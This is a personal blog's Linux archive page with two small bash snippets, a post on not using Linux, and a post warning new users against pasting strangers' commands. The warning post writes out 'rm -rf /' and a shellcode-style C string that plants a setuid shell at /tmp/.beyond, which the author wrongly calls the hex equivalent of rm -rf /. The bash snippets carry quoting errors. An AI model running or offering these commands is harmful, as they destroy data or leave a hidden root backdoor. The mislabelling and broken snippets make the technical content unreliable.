Browsing articles in "Linux"
Aug 26, 2011
Jason

Simple bash mail script

If you want to automate something on any Unix based servers and want to send you email in the bash script, here is the simple one.

#!/bin/bash
FROM="from_address@example.com"
TO=”to_address@example.com”
SUBJECT="Test Subject”
EMAILMESSAGE=”Test Message”

/bin/mail -s "$SUBJECT" "$TO" < $EMAILMESSAGE — -f $FROM

I hope this script will be helpful for you and feel free to leave a comment if you need any help.

Aug 25, 2011
Jason

How to check if the file is empty by using bash script

Here’s the simple script to check if the file is empty by using bash shell.

#!/bin/bash
TEMPFILE=”$REPORTPATH/testfile”
if [ -s $TEMPFILE ]; then
echo “File is not empty”
else
echo “File is empty”
fi

Of course you can substitute anything you desire in those echo lines.

May 4, 2009
Jason

The Dark side of Linux

Yep, Ubuntu 9.04 is out and making buzz as usual. Most of the new Linux users are excited about “No more virus, yeah?”. Well, it’s quite true. Linux is more secure and have got very low security risk. But beware! Linux has got its own dark side as command line could do anything.

If you ever ask for help in some forums or chat rooms, some of the users could have tricked you to enter the commands that will harm your computers and lose your precious files permanently.

The most dangerous command for novice users is

rm -rf /

This command will forcefully delete all the files inside the root and all sub directories.

Another one, this one could even fool experienced linux users.

char esp[] __attribute__ ((section(“.text”))) /* e.s.p
release */
= “xebx3ex5bx31xc0x50x54x5ax83xecx64x68″
“xffxffxffxffx68xdfxd0xdfxd9x68x8dx99″
“xdfx81x68x8dx92xdfxd2x54x5exf7x16xf7″
“x56x04xf7x56x08xf7x56x0cx83xc4x74x56″
“x8dx73x08x56x53x54x59xb0x0bxcdx80x31″
“xc0x40xebxf9xe8xbdxffxffxffx2fx62x69″
“x6ex2fx73x68x00x2dx63x00″
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;

What the heck is that you may ask. Well it’s the equivalent of rm –rf / in hex version.

So how can you avoid the disaster? My advice would be always do man or google the commands the strangers give you before you execute.

Sep 7, 2007
Jason

Why don’t I use Linux

Most people ask me why don’t I blog about Linux anything at all? I don’t know Linux or why? Okay, I will refer to this one of PC world user responds:


Linux versus Windows XP Don’t make me laugh! Like your writer, I took a long look at one of the latest versions of Linux (Red Hat Linux 9 in my case). The OS installed nicely, but it took me no less than 1.5 hours to get online with my dial-up connection–after 2 hours of getting my modem configured. Installing software? Don’t look for the .zip files you may be used to, and once you get downloaded files unpacked, don’t expect them to set up painlessly the way Windows apps do.

After two weeks of this nonsense, I went back to Windows XP. I’ll take its ease of use and hardware compatibility any time.

Yeah, that feedback goes almost the same for me, except for the fact that I have tried many Linux distros not just Red Hat Linux 9. You don’t have to believe me, you can try yourself.

Pages:«12